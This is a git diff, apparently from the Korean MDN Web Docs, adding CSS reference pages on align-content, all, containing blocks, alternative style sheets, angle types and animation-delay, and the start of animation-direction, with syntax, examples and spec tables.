CSS align-content 속성은 콘텐츠 사이와 콘텐츠 주위 빈 공간을 플렉스박스의 교차축, 그리드의 블록 축을 따라 배치하는 방식을 결정합니다.

+ +

아래의 대화형 예제는 그리드 레이아웃을 사용해 이 속성의 값을 시연합니다.

+ +
{{EmbedInteractiveExample("pages/css/align-content.html")}}
+ + + +

이 속성은 한 줄로만 이루어진 플렉스 컨테이너에는 아무 효과도 없습니다. (flex-wrap: nowrap 등)

+ +

구문

+ +
/* Basic positional alignment */
+/* align-content does not take left and right values */
+align-content: center;     /* Pack items around the center */
+align-content: start;      /* Pack items from the start */
+align-content: end;        /* Pack items from the end */
+align-content: flex-start; /* Pack flex items from the start */
+align-content: flex-end;   /* Pack flex items from the end */
+
+/* Normal alignment */
+align-content: normal;
+
+/* Baseline alignment */
+align-content: baseline;
+align-content: first baseline;
+align-content: last baseline;
+
+/* Distributed alignment */
+align-content: space-between; /* Distribute items evenly
+                                 The first item is flush with the start,
+                                 the last is flush with the end */
+align-content: space-around;  /* Distribute items evenly
+                                 Items have a half-size space
+                                 on either end */
+align-content: space-evenly;  /* Distribute items evenly
+                                 Items have equal space around them */
+align-content: stretch;       /* Distribute items evenly
+                                 Stretch 'auto'-sized items to fit
+                                 the container */
+
+/* Overflow alignment */
+align-content: safe center;
+align-content: unsafe center;
+
+/* Global values */
+align-content: inherit;
+align-content: initial;
+align-content: unset;
+
+ +

+ +
+
start
+
플렉스/그리드 항목을 한 덩어리로 뭉쳐서 정렬 컨테이너 교차축의 시작 모서리에 배치합니다.
+
end
+
플렉스/그리드 항목을 한 덩어리로 뭉쳐서 정렬 컨테이너 교차축의 끝 모서리에 배치합니다.
+
flex-start
+
플렉스 항목을 한 덩어리로 뭉치고, 플렉스 컨테이너의 교차 시작점에 따라 정렬 컨테이너 모서리에 배치합니다.
+ 플렉스 레이아웃 항목에만 적용됩니다. 플렉스 컨테이너의 자식이 아닌 항목에 대해서는 start로 취급합니다.
+
flex-end
+
플렉스 항목을 한 덩어리로 뭉치고, 플렉스 컨테이너의 교차 끝점에 따라 정렬 컨테이너 모서리에 배치합니다.
+ 플렉스 레이아웃 항목에만 적용됩니다. 플렉스 컨테이너의 자식이 아닌 항목에 대해서는 end로 취급합니다.
+
center
+
플렉스/그리드 항목을 한 덩어리로 뭉쳐서 정렬 컨테이너 교차축의 중앙에 배치합니다.
+
normal
+
align-content를 지정하지 않았을 때처럼, 플렉스/그리드 항목을 한 덩어리로 뭉쳐서 기본 위치에 배치합니다.
+
baseline
+ first baseline

+ last baseline
+
the baseline is the line upon which most letters "sit" and below which descenders extend.
+
Specifies participation in first- or last-baseline alignment: aligns the alignment baseline of the box’s first or last baseline set with the corresponding baseline in the shared first or last baseline set of all the boxes in its baseline-sharing group.
+ first baseline의 대체 정렬은 start이며 last baseline의 대체 정렬은 end입니다.
+
space-between
+
정렬 컨테이너의 교차축을 따라 항목을 고르게 배치합니다. 이웃한 항목간의 거리가 동일해집니다. 첫 항목은 정렬 컨테이너 교차축의 시작점에, 마지막 항목은 정렬 컨테이너 교차축의 종료점에 붙입니다.
+
space-around
+
정렬 컨테이너의 교차축을 따라 항목을 고르게 배치합니다. 이웃한 항목간의 거리가 동일해집니다. 첫 항목 이전 여백과 마지막 항목 이후 여백은 각 항목간 거리의 절반이 됩니다.
+
space-evenly
+
정렬 컨테이너의 교차축을 따라 항목을 고르게 배치합니다. 이웃한 항목간의 거리, 첫 항목 이전 여백, 마지막 항목 이후 여백이 모두 같아집니다.
+
stretch
+
모든 항목의 교차축 방향 크기의 합이 정렬 컨테이너보다 작은 경우, 모든 auto 크기의 항목이 동일(비례하지 않음)하게 커져서 정렬 컨테이너의 교차축 방향을 가득 채웁니다. 단, 항목에 지정한 {{cssxref("max-height")}}/{{cssxref("max-width")}} 등의 크기 제한은 준수합니다.
+
safe
+
정렬 키워드와 함께 사용합니다. 주어진 키워드로 인해 항목이 정렬 컨테이너 밖으로 오버플로하게 되어 데이터가 유실될 수 있으면 항목 정렬에 start를 대신 사용합니다.
+
unsafe
+
정렬 키워드와 함께 사용합니다. 컨테이너와 항목의 상대적 크기 및 오버플로로 인한 데이터 유실에 상관하지 않고 주어진 정렬을 준수합니다.
+
+ +

형식 정의

+ +

{{cssinfo}}

+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +

CSS

+ +
#container {
+  height:200px;
+  width: 240px;
+  align-content: center; /* Can be changed in the live sample */
+  background-color: #8c8c8c;
+}
+
+.flex {
+  display: flex;
+  flex-wrap: wrap;
+}
+
+.grid {
+  display: grid;
+  grid-template-columns: repeat(auto-fill, 50px);
+}
+
+div > div {
+  box-sizing: border-box;
+  border: 2px solid #8c8c8c;
+  width: 50px;
+  display: flex;
+  align-items: center;
+  justify-content: center;
+}
+
+#item1 {
+  background-color: #8cffa0;
+  min-height: 30px;
+}
+
+#item2 {
+  background-color: #a0c8ff;
+  min-height: 50px;
+}
+
+#item3 {
+  background-color: #ffa08c;
+  min-height: 40px;
+}
+
+#item4 {
+  background-color: #ffff8c;
+  min-height: 60px;
+}
+
+#item5 {
+  background-color: #ff8cff;
+  min-height: 70px;
+}
+
+#item6 {
+  background-color: #8cffff;
+  min-height: 50px;
+  font-size: 30px;
+}
+
+select {
+  font-size: 16px;
+}
+
+.row {
+  margin-top: 10px;
+}
+
+ +

HTML

+ +
<div id="container" class="flex">
+  <div id="item1">1</div>
+  <div id="item2">2</div>
+  <div id="item3">3</div>
+  <div id="item4">4</div>
+  <div id="item5">5</div>
+  <div id="item6">6</div>
+</div>
+
+<div class="row">
+  <label for="display">display: </label>
+  <select id="display">
+    <option value="flex">flex</option>
+    <option value="grid">grid</option>
+  </select>
+</div>
+
+<div class="row">
+  <label for="values">align-content: </label>
+  <select id="values">
+    <option value="normal">normal</option>
+    <option value="stretch">stretch</option>
+    <option value="flex-start">flex-start</option>
+    <option value="flex-end">flex-end</option>
+    <option value="center" selected>center</option>
+    <option value="space-between">space-between</option>
+    <option value="space-around">space-around</option>
+    <option value="space-evenly">space-evenly</option>
+
+    <option value="start">start</option>
+    <option value="end">end</option>
+    <option value="left">left</option>
+    <option value="right">right</option>
+
+    <option value="baseline">baseline</option>
+    <option value="first baseline">first baseline</option>
+    <option value="last baseline">last baseline</option>
+
+    <option value="safe center">safe center</option>
+    <option value="unsafe center">unsafe center</option>
+    <option value="safe right">safe right</option>
+    <option value="unsafe right">unsafe right</option>
+    <option value="safe end">safe end</option>
+    <option value="unsafe end">unsafe end</option>
+    <option value="safe flex-end">safe flex-end</option>
+    <option value="unsafe flex-end">unsafe flex-end</option>
+  </select>
+</div>
+
+ + + +

결과

+ +

{{EmbedLiveSample("예제", 260, 290)}}

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("CSS3 Box Alignment", "#propdef-align-content", "align-content")}}{{Spec2("CSS3 Box Alignment")}}Adds the [ first | last ]? baseline, start, end, left, right, unsafe | safe values.
{{SpecName("CSS3 Flexbox", "#align-content", "align-content")}}{{Spec2("CSS3 Flexbox")}}Initial definition
+ +

브라우저 호환성

+ +
+ + +

플렉스 레이아웃 지원

+ +

{{Compat("css.properties.align-content.flex_context")}}

+ +

그리드 레이아웃 지원

+ +

{{Compat("css.properties.align-content.grid_context")}}

+
+ +

같이 보기

+ + + +
{{CSSRef}}
diff --git a/files/ko/web/css/all/index.html b/files/ko/web/css/all/index.html new file mode 100644 index 0000000000..baa5d4e4f0 --- /dev/null +++ b/files/ko/web/css/all/index.html @@ -0,0 +1,171 @@ +--- +title: all +slug: Web/CSS/all +tags: + - CSS + - CSS Cascade + - CSS Property + - Reference + - 'recipe:css-property' +translation_of: Web/CSS/all +--- +
{{CSSRef}}
+ +

CSS all 단축 속성은 요소의 {{cssxref("unicode-bidi")}}, {{cssxref("direction")}}, CSS 사용자 지정 속성을 제외한 모든 속성을 초기화합니다. 초깃값, 상속값, 아니면 다른 스타일시트 출처의 값으로 설정할 수 있습니다.

+ +
{{EmbedInteractiveExample("pages/css/all.html")}}
+ + + +

구문

+ +
/* 전역 값 */
+all: initial;
+all: inherit;
+all: unset;
+
+/* CSS Cascading and Inheritance Level 4 */
+all: revert;
+
+ +

all 속성은 CSS 전역 키워드 값 중 하나를 사용해 지정합니다. 그러나 어느것도 {{cssxref("unicode-bidi")}}와 {{cssxref("direction")}} 속성에는 영향을 주지 않는 점을 주의하세요.

+ +

+ +
+
{{cssxref("initial")}}
+
요소의 모든 속성을 초깃값으로 변경합니다.
+
{{cssxref("inherit")}}
+
요소의 모든 속성을 상속값으로 변경합니다.
+
{{cssxref("unset")}}
+
요소의 모든 속성을, 속성이 값을 상속하는 경우 상속값으로, 아니면 초깃값으로 변경합니다.
+
{{cssxref("revert")}}
+
선언이 속한 스타일시트의 출처에 따라 다른 동작을 합니다. +
+
사용자 에이전트 출처
+
unset과 동일합니다.
+
사용자 출처
+
종속을 사용자 에이전트 단계까지 되돌려서, 지정값이 마치 저작자와 사용자 단계의 규칙이 없었던 것처럼 계산되도록 합니다.
+
저작자 출처
+
종속을 사용자 에이전트 단계까지 되돌려서, 지정값이 마치 저작자 단계의 규칙이 없었던 것처럼 계산되도록 합니다. revert만 고려했을 때, 저작자 출처는 재정의(Override) 및 애니메이션(Animation) 출처를 포함합니다.
+
+
+
+ +

형식 정의

+ +

{{CSSInfo}}

+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +

HTML

+ +
<blockquote id="quote">
+  Lorem ipsum dolor sit amet, consectetur adipiscing elit.
+</blockquote>
+Phasellus eget velit sagittis.
+ +

CSS

+ +
body {
+  font-size: small;
+  background-color: #F0F0F0;
+  color: blue;
+}
+
+blockquote {
+  background-color: skyblue;
+  color: red;
+}
+
+ +

결과

+ +
+

all 속성 없음

+ + + + +{{EmbedLiveSample("ex0", "200", "125")}} + +

The {{HTMLElement("blockquote")}}가 브라우저 기본 스타일과 함께, 지정한 배경 및 텍스트 색상을 사용합니다. 또한 블록 요소로 동작하여 뒤의 텍스트가 아래에 위치합니다.

+
+ +
+

all:unset

+ + + + +{{EmbedLiveSample("ex1", "200", "125")}} + +

{{HTMLElement("blockquote")}}가 브라우저 기본 스타일을 사용하지 않습니다. 이제 인라인 요소(초깃값)이며, {{cssxref("background-color")}}가 transparent(초깃값)입니다. 그러나 {{cssxref("font-size")}}는 여전히 small(상속값)이고 {{cssxref("color")}}도 blue(상속값)입니다.

+
+ +
+

all:initial

+ + + + +{{EmbedLiveSample("ex2", "200", "125")}} + +

{{HTMLElement("blockquote")}}가 브라우저 기본 스타일을 사용하지 않습니다. 이제 인라인 요소(초깃값)이며, {{cssxref("background-color")}}가 transparent(초깃값)이고, {{cssxref("font-size")}}는 normal(초깃값), {{cssxref("color")}}는 black(초깃값)입니다.

+
+ +
+

all:inherit

+ + + + +{{EmbedLiveSample("ex3", "200", "125")}} + +

{{HTMLElement("blockquote")}}가 브라우저 기본 스타일을 사용하지 않습니다. 블록 요소(부모 {{HTMLElement("body")}}에서 상속)이고, {{cssxref("background-color")}}은 #F0F0F0(상속값), {{cssxref("font-size")}}는 small(상속값), {{cssxref("color")}}는 blue(상속값)입니다.

+
+ +

명세

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('CSS4 Cascade', '#all-shorthand', 'all') }}{{ Spec2('CSS4 Cascade') }}Added the revert value.
{{ SpecName('CSS3 Cascade', '#all-shorthand', 'all') }}{{ Spec2('CSS3 Cascade') }}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.all")}}

+ +

같이 보기

+ +

CSS 전역 키워드 값: {{cssxref("initial")}}, {{cssxref("inherit")}}, {{cssxref("unset")}}, {{cssxref("revert")}}

diff --git a/files/ko/web/css/all_about_the_containing_block/index.html b/files/ko/web/css/all_about_the_containing_block/index.html new file mode 100644 index 0000000000..35c6bf56cb --- /dev/null +++ b/files/ko/web/css/all_about_the_containing_block/index.html @@ -0,0 +1,263 @@ +--- +title: 컨테이닝 블록의 모든 것 +slug: Web/CSS/All_About_The_Containing_Block +tags: + - CSS + - Guide + - Layout + - Position +translation_of: Web/CSS/Containing_block +--- +
{{cssref}}
+ +

요소의 크기와 위치는 컨테이닝 블록(containing block)의 영향을 받곤 합니다. 대부분의 경우, 어떤 요소의 컨테이닝 블록은 가장 가까운 블록 레벨 조상의 콘텐츠 영역이나, 항상 그런 것은 아닙니다. 이 글에서는 요소의 컨테이닝 블록을 결정하는 요인을 살펴보겠습니다.

+ +

사용자 에이전트(브라우저 등)는 문서를 그릴 때 모든 요소에 대해 상자(박스)를 생성합니다. 각각의 상자는 아래의 네 가지 영역으로 나눠집니다.

+ +
    +
  1. 콘텐츠 영역
  2. +
  3. 안쪽 여백(패딩) 영역
  4. +
  5. 테두리 영역
  6. +
  7. 바깥 여백(마진) 영역
  8. +
+ +

Diagram of the box model

+ +

많은 개발자들은 요소의 컨테이닝 블록이 언제나 부모 요소의 콘텐츠 영역이라고 생각하지만, 사실 꼭 그렇지는 않습니다. 어떤 항목이 컨테이닝 블록을 결정짓나 알아보겠습니다.

+ +

컨테이닝 블록의 효과

+ +

컨테이닝 블록을 결정하는 요인에 뭐가 있는지 알아보기 전에, 애초에 컨테이닝 블록이 무슨 상관인지 알아두는게 유용하겠습니다.

+ +

요소의 크기와 위치는 컨테이닝 블록의 영향을 자주 받습니다. 백분율 값을 사용한 {{cssxref("width")}}, {{cssxref("height")}}, {{cssxref("padding")}}, {{cssxref("margin")}} 속성의 값과 절대적 위치(absolutefixed 등)로 설정된 요소의 오프셋 속성 값은 자신의 컨테이닝 블록으로부터 계산됩니다.

+ +

컨테이닝 블록 식별

+ +

컨테이닝 블록의 식별 과정은 {{cssxref("position")}} 속성에 따라 완전히 달라집니다.

+ +
    +
  1. position 속성이 static, relative, sticky 중 하나이면, 컨테이닝 블록은 가장 가까운 조상 블록 컨테이너(inline-block, block, list-item 등의 요소), 또는 가장 가까우면서 서식 맥락을 형성하는 조상 요소(table, flex, grid, 아니면 블록 컨테이너 자기 자신)의 콘텐츠 영역 경계를 따라 형성됩니다.
  2. +
  3. position 속성이 absolute인 경우, 컨테이닝 블록은 position 속성 값이 static이 아닌(fixed, absolute, relative, sticky) 가장 가까운 조상의 내부 여백 영역입니다.
  4. +
  5. position 속성이 fixed인 경우, 컨테이닝 블록은 {{glossary("viewport", "뷰포트")}}나 페이지 영역(페이지로 나뉘는 매체인 경우)입니다.
  6. +
  7. position 속성이 absolutefixed인 경우, 다음 조건 중 하나를 만족하는 가장 가까운 조상의 내부 여백 영역이 컨테이닝 블록이 될 수도 있습니다. +
      +
    1. {{cssxref("transform")}}이나 {{cssxref("perspective")}} 속성이 none이 아님.
    2. +
    3. {{cssxref("will-change")}} 속성이 transform이나 perspective임.
    4. +
    5. {{cssxref("filter")}} 속성이 none임. (Firefox에선 will-changefilter일 때도 적용)
    6. +
    7. {{cssxref("contain")}} 속성이 paint임.
    8. +
    +
  8. +
+ +
+

참고: 루트 요소({{HTMLElement("html")}})의 컨테이닝 블록은 초기 컨테이닝 블록이라고 불리는 사각형입니다. 초기 컨테이닝 블록은 뷰포트 또는 (페이지로 나뉘는 매체에선) 페이지 영역의 크기와 같습니다.

+
+ +

컨테이닝 블록으로부터 백분율 값 계산하기

+ +

앞서 언급했듯, 특정 속성의 값이 백분율이라면 그 계산값은 요소의 컨테이닝 블록에 의해 결정됩니다. 이렇게 동작하는 속성으로 박스 모델 속성오프셋 속성이 있습니다.

+ +
    +
  1. {{cssxref("height")}}, {{cssxref("top")}}, {{cssxref("bottom")}} 속성은 컨테이닝 블록의 height를 사용해 백분율을 계산합니다. 컨테이닝 블록의 height가 콘텐츠의 크기에 따라 달라질 수 있고, 컨테이닝 블록의 positionrelative거나 static이면 계산값은 0이 됩니다.
  2. +
  3. {{cssxref("width")}}, {{cssxref("left")}}, {{cssxref("right")}}, {{cssxref("padding")}}, {{cssxref("margin")}} 속성은 컨테이닝 블록의 width를 사용해 백분율을 계산합니다.
  4. +
+ +

예제

+ +

모든 예제의 HTML코드는 다음과 같습니다.

+ +
<body>
+  <section>
+    <p>문단입니다!</p>
+  </section>
+</body>
+
+ +

이하 예제는 모두 CSS만 변경합니다.

+ +

예제 1

+ +

다음 예제에서 문단은 정적 위치를 가지고, 가장 가까운 블록 컨테이너는 {{HTMLElement("section")}}이므로 문단의 컨테이닝 블록도 <section>입니다.

+ + + +
body {
+  background: beige;
+}
+
+section {
+  display: block;
+  width: 400px;
+  height: 160px;
+  background: lightgray;
+}
+
+p {
+  width: 50%;   /* == 400px * .5 = 200px */
+  height: 25%;  /* == 160px * .25 = 40px */
+  margin: 5%;   /* == 400px * .05 = 20px */
+  padding: 5%;  /* == 400px * .05 = 20px */
+  background: cyan;
+}
+
+ +

{{EmbedLiveSample('예제_1','100%','300')}}

+ +

예제 2

+ +

다음 예제에서 <section>display: inline으로 인해 블록 컨테이너가 아니고, 서식 문맥도 형성하지 않으므로 문단의 컨테이닝 블록은 {{HTMLElement("body")}} 요소입니다.

+ + + +
body {
+  background: beige;
+}
+
+section {
+  display: inline;
+  background: lightgray;
+}
+
+p {
+  width: 50%;     /* == body 너비의 절반 */
+  height: 200px;  /* 참고: 백분율 값이었으면 0 */
+  background: cyan;
+}
+
+ +

{{EmbedLiveSample('예제_2','100%','300')}}

+ +

예제 3

+ +

다음 예제에서는 <section>positionabsolute이기 때문에 문단의 컨테이닝 블록은 <section>입니다. 문단의 백분율 값은 컨테이닝 블록의 {{cssxref("padding")}} 값의 영향을 받겠지만, 컨테이닝 블록의 {{cssxref("box-sizing")}} 속성이 border-box였다면 그렇지 않을 것입니다.

+ + + +
body {
+  background: beige;
+}
+
+section {
+  position: absolute;
+  left: 30px;
+  top: 30px;
+  width: 400px;
+  height: 160px;
+  padding: 30px 20px;
+  background: lightgray;
+}
+
+p {
+  position: absolute;
+  width: 50%;   /* == (400px + 20px + 20px) * .5 = 220px */
+  height: 25%;  /* == (160px + 30px + 30px) * .25 = 55px */
+  margin: 5%;   /* == (400px + 20px + 20px) * .05 = 22px */
+  padding: 5%;  /* == (400px + 20px + 20px) * .05 = 22px */
+  background: cyan;
+}
+
+ +

{{EmbedLiveSample('예제_3','100%','300')}}

+ +

예제 4

+ +

다음 예제에서는 문단의 positionfixed이므로 컨테이닝 블록은 초기 컨테이닝 블록(화면 매체에서는 뷰포트)입니다. 따라서 문단의 크기는 브라우저 창의 크기에 따라 변합니다.

+ + + +
body {
+  background: beige;
+}
+
+section {
+  width: 400px;
+  height: 480px;
+  margin: 30px;
+  padding: 15px;
+  background: lightgray;
+}
+
+p {
+  position: fixed;
+  width: 50%;   /* == (50vw - (세로 스크롤바 너비)) */
+  height: 50%;  /* == (50vh - (가로 스크롤바 높이)) */
+  margin: 5%;   /* == (5vw - (세로 스크롤바 너비)) */
+  padding: 5%;  /* == (5vw - (세로 스크롤바 너비)) */
+  background: cyan;
+}
+
+ +

{{EmbedLiveSample('예제_4','100%','300')}}

+ +

예제 5

+ +

다음 예제에서는 문단의 positionabsolute이므로, 컨테이닝 블록은 {{cssxref("transform")}} 속성이 none이 아닌 가장 가까운 조상, <section>입니다.

+ + + +
body {
+  background: beige;
+}
+
+section {
+  transform: rotate(0deg);
+  width: 400px;
+  height: 160px;
+  background: lightgray;
+}
+
+p {
+  position: absolute;
+  left: 80px;
+  top: 30px;
+  width: 50%;   /* == 200px */
+  height: 25%;  /* == 40px */
+  margin: 5%;   /* == 20px */
+  padding: 5%;  /* == 20px */
+  background: cyan;
+}
+
+ +

{{EmbedLiveSample('예제_5','100%','300')}}

+ +

같이 보기

+ + diff --git a/files/ko/web/css/alternative_style_sheets/index.html b/files/ko/web/css/alternative_style_sheets/index.html new file mode 100644 index 0000000000..918ce3dd36 --- /dev/null +++ b/files/ko/web/css/alternative_style_sheets/index.html @@ -0,0 +1,24 @@ +--- +title: Alternative style sheets +slug: Web/CSS/Alternative_style_sheets +translation_of: Web/CSS/Alternative_style_sheets +--- +

Firefox는 + + 대체 스타일시트 + 를 지원합니다. 대체 스타일시트를 제공하는 페이지에서는 보기>페이지 스타일 메뉴를 이용하여 페이지에 적용될 스타일을 선택할 수 있습니다. 따라서 사용자는 자신이 원하는 다양한 종류의 페이지를 볼 수 있게 됩니다.

+

<tt>link</tt> 요소를 사용하여 웹 페이지에 대체 스타일시트를 제공할 수 있습니다.

+

예제:

+
 <link href="default.css" rel="stylesheet" type="text/css" title="Default Style">
+ <link href="fancy.css" rel="alternate stylesheet" type="text/css" title="Fancy">
+ <link href="basic.css" rel="alternate stylesheet" type="text/css" title="Basic">
+
+

위의 세 가지 스타일 시트를 제공하면, 페이지 스타일 메뉴에 "Default Style", "Fancy", "Basic" 스타일 목록이 출력됩니다. 사용자가 특정 스타일을 선택하면 페이지는 해당 스타일로 바로 다시 렌더링 됩니다.

+

link 또는 style 요소에 title 속성이 포함되어 있을 경우 해당 제목(title)은 사용자에게로 노출되어 사용자가 선택할 수 있게 됩니다. 동일한 제목을 가진 스타일시트가 여럿 존재할 경우 해당 스타일시트들은 모두 적용되며, title 속성이 없는 스타일시트는 항상 적용됩니다.

+

기본 스타일시트에는 rel="stylesheet" 속성을 사용하고 대체 스타일시트에는 rel="alternate stylesheet"를 사용하세요. 이를 통해 Firefox는 어떤 스타일시트 제목을 처음 선택해야 할지 알 수 있으며, 대체 스타일시트를 지원하지 않는 브라우저에게 기본 스타일시트가 무엇인지를 알려줍니다.

+

실제 예제

+

실제로 동작하는 예제는 여기에서 볼 수 있습니다.

+

명세

+ diff --git a/files/ko/web/css/angle-percentage/index.html b/files/ko/web/css/angle-percentage/index.html new file mode 100644 index 0000000000..a341698026 --- /dev/null +++ b/files/ko/web/css/angle-percentage/index.html @@ -0,0 +1,52 @@ +--- +title: +slug: Web/CSS/angle-percentage +tags: + - CSS + - CSS Data Type + - Data Type + - Reference + - 자료형 +translation_of: Web/CSS/angle-percentage +--- +
{{CSSRef}}
+ +

CSS <angle-percentage> 자료형은 {{cssxref("<angle>")}}과 {{cssxref("<percentage>")}} 모두 가능한 값을 나타냅니다.

+ +

구문

+ +

{{cssxref("<angle>")}}과 {{cssxref("<percentage>")}} 문서에서 각 자료형의 구문을 살펴보세요.

+ +

calc()에서 사용하기

+ +

<angle-percentage>를 사용할 수 있는 곳이라면 백분율이 각도로 계산되므로, 이 자료형도 {{cssxref("calc()")}}표현식에서 사용할 수 있습니다.

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS4 Values', '#mixed-percentages', '<angle-percentage>')}}{{Spec2('CSS4 Values')}}
{{SpecName('CSS3 Values', '#mixed-percentages', '<angle-percentage>')}}{{Spec2('CSS3 Values')}}Defines <angle-percentage>. Adds calc()
+ +

브라우저 호환성

+ + + +

{{Compat("css.types.angle-percentage")}}

diff --git a/files/ko/web/css/angle/index.html b/files/ko/web/css/angle/index.html new file mode 100644 index 0000000000..8125920a36 --- /dev/null +++ b/files/ko/web/css/angle/index.html @@ -0,0 +1,115 @@ +--- +title: +slug: Web/CSS/angle +tags: + - CSS + - CSS Data Type + - Data Type + - Layout + - Reference + - Web + - 자료형 +translation_of: Web/CSS/angle +--- +
{{CSSRef}}
+ +

CSS <angle> 자료형은 각도의 값을 도, 그레이드, 라디안 또는 회전수로 표현합니다. {{cssxref("<gradient>")}}나 일부 {{cssxref("transform")}} 함수에서 사용합니다..

+ +
{{EmbedInteractiveExample("pages/css/type-angle.html")}}
+ + + +

구문

+ +

<angle> 자료형은 {{cssxref("<number>")}} 다음에 아래 나열한 단위 중 하나를 붙여 구성합니다. 다른 CSS 단위처럼 숫자와 단위 문자 사이에 공백은 존재하지 않습니다. 숫자 0 뒤에는 단위를 붙이지 않아도 됩니다.

+ +

선택적으로 +, - 부호를 표시할 수 있습니다. 양의 부호는 시계방향 회전을, 음의 부호는 시계 반대방향 회전을 나타냅니다. 정적 속성에선 하나의 각도를 다른 각도로 표현할 수 있습니다. 예컨대 90deg-270deg, 1turn4turn과 동일합니다. 그러나 동적 속성, 즉 {{cssxref("animation")}}이나 {{cssxref("transition")}}에서는 결과가 달라집니다.

+ +

단위

+ +
+
deg
+
각도를 도 단위로 나타냅니다. 1회전은 360deg입니다. 예: 0deg, 90deg, 14.23deg
+
grad
+
각도를 그레이드로 나타냅니다. 1회전은 400grad입니다. 예: 0grad, 100grad, 38.8grad
+
rad
+
각도를 라디안으로 나타냅니다. 1회전은 2π 라디안으로 약 6.2832rad입니다. 1rad는 180/πdeg입니다. 예: 0rad, 1.0708rad, 6.2832rad
+
turn
+
각도를 회전의 수로 나타냅니다. 1회전은 1turn입니다. 예: 0turn, 0.25turn, 1.2turn
+
+ +

예제

+ +

시계 방향 우측 90도

+ + + + + + + + +
Angle90.png90deg = 100grad = 0.25turn ≈ 1.5708rad
+ +

반대로 회전

+ + + + + + + + +
Angle180.png180deg = 200grad = 0.5turn ≈ 3.1416rad
+ +

시계 반대 방향 우측 90도

+ + + + + + + + +
AngleMinus90.png-90deg = -100grad = -0.25turn ≈ -1.5708rad
+ +

회전 없음

+ + + + + + + + +
Angle0.png0 = 0deg = 0grad = 0turn = 0rad
+ +

명세

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('CSS4 Values', '#angles', '<angle>') }}{{ Spec2('CSS4 Values') }}
{{ SpecName('CSS3 Values', '#angles', '<angle>') }}{{ Spec2('CSS3 Values') }}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("css.types.angle")}}

diff --git a/files/ko/web/css/animation-delay/index.html b/files/ko/web/css/animation-delay/index.html new file mode 100644 index 0000000000..54f5d965e2 --- /dev/null +++ b/files/ko/web/css/animation-delay/index.html @@ -0,0 +1,85 @@ +--- +title: animation-delay +slug: Web/CSS/animation-delay +tags: + - CSS + - CSS Property + - CSS animation + - Reference +translation_of: Web/CSS/animation-delay +--- +
{{CSSRef}}
+ +

animation-delay CSS 속성은 애니메이션이 시작할 시점을 지정합니다. 시작 즉시, 잠시 후에, 또는 애니메이션이 일부 진행한 시점부터 시작할 수 있습니다.

+ +
{{EmbedInteractiveExample("pages/css/animation-delay.html")}}
+ + + +

{{cssxref("animation")}} 단축 속성을 사용해 애니메이션 관련 속성을 편리하게 같이 지정할 수 있습니다.

+ +

구문

+ +
/* Single animation */
+animation-delay: 3s;
+animation-delay: 0s;
+animation-delay: -1500ms;
+
+/* Multiple animations */
+animation-delay: 2.1s, 480ms;
+ +

+ +
+
{{cssxref("<time>")}}
+
애니메이션이 시작될 요소가 적용되는 순간부터의 시간 오프셋입니다. 이 값은 초 또는 밀리 초 (ms)로 지정할 수 있습니다. 이 값은 필수입니다.
+
양수 값은 지정된 시간이 경과 한 후 애니메이션이 시작되어야 함을 나타냅니다. 기본값인 0의 값은 애니메이션이 적용되는 즉시 시작해야 함을 나타냅니다.
+
+

음수 값을 지정하면 애니메이션이 즉시 시작되지만 애니메이션 주기의 도중에 시작됩니다. 예를 들어 애니메이션 지연 시간으로 -1s를 지정하면 애니메이션이 즉시 시작되지만 애니메이션 시퀀스의 1초부터 시작됩니다. 만약 animation-delay에 음수 값을 지정했지만 시작값이 절대값이면 시작값은 애니메이션이 요소에 적용된 시점부터 가져옵니다.

+
+
+ +
+

참고: animation- * 속성에 여러 개의 쉼표로 구분 된 값을 지정하면 animation-name 속성에 지정된 애니메이션에 할당되는 값의 수에 따라 다른 방식으로 지정됩니다. 자세한 내용은 여러 애니메이션 속성 값 설정을 참조하십시오.

+
+ +

형식 구문

+ +
{{csssyntax}}
+
+ +

예제

+ +

CSS 애니메이션 사용하기를 보세요.

+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Animations', '#animation-delay', 'animation-delay')}}{{Spec2('CSS3 Animations')}}Initial definition.
+ +

{{cssinfo}}

+ +

브라우저 호환성

+ +
{{Compat("css.properties.animation-delay")}}
+ +

같이 보기

+ + diff --git a/files/ko/web/css/animation-direction/index.html b/files/ko/web/css/animation-direction/index.html new file mode 100644 index 0000000000..7c5c8b56db --- /dev/null +++ b/files/ko/web/css/animation-direction/index.html @@ -0,0 +1,191 @@ +--- +title: animation-direction +slug: Web/CSS/animation-direction +tags: + - CSS 속성 + - CSS 애니메이션 +translation_of: Web/CSS/animation-direction +--- +
{{CSSRef}} {{SeeCompatTable}}
+ +

animation-direction CSS 속성은 애니메이션이 앞으로, 뒤로 또는 앞뒤로 번갈아 재생되어야하는지 여부를 지정합니다.

+ +
/* Single animation */
+animation-direction: normal;
+animation-direction: reverse;
+animation-direction: alternate;
+animation-direction: alternate-reverse;
+
+/* Multiple animations */
+animation-direction: normal, reverse;
+animation-direction: alternate, reverse, normal;
+
+/* Global values */
+animation-direction: inherit;
+animation-direction: initial;
+animation-direction: unset;
+
+ +

축약 속성 {{cssxref ( "animation")}}을 사용하여 모든 애니메이션 속성을 한꺼번에 설정하는 것이 편리합니다.

+ +

{{cssinfo}}

+ +

문법(Syntax)

+ +

값(Values)

+ +
+
normal
+
 애니메이션은 매 사이클마다 정방향으로 재생됩니다. 즉, 순환 할 때마다 애니메이션이 시작 상태로 재설정되고 다시 시작됩니다. 이것은 기본값입니다.
+
reverse
+
애니메이션은 매 사이클마다 역방향으로 재생됩니다. 즉, 순환 할 때마다 애니메이션이 종료 상태로 재설정되고 다시 시작됩니다. 애니메이션 단계가 거꾸로 수행되고 타이밍 기능 또한 반대로됩니다. 예를 들어, ease-in 타이밍 기능은  ease-out형태로 변경됩니다.
+
alternate
+
애니메이션은 매 사이클마다 각 주기의 방향을 뒤집으며, 첫 번째 반복은 정방향으로 진행됩니다. 사이클이 짝수인지 홀수인지를 결정하는 카운트가 하나에서 시작됩니다.
+
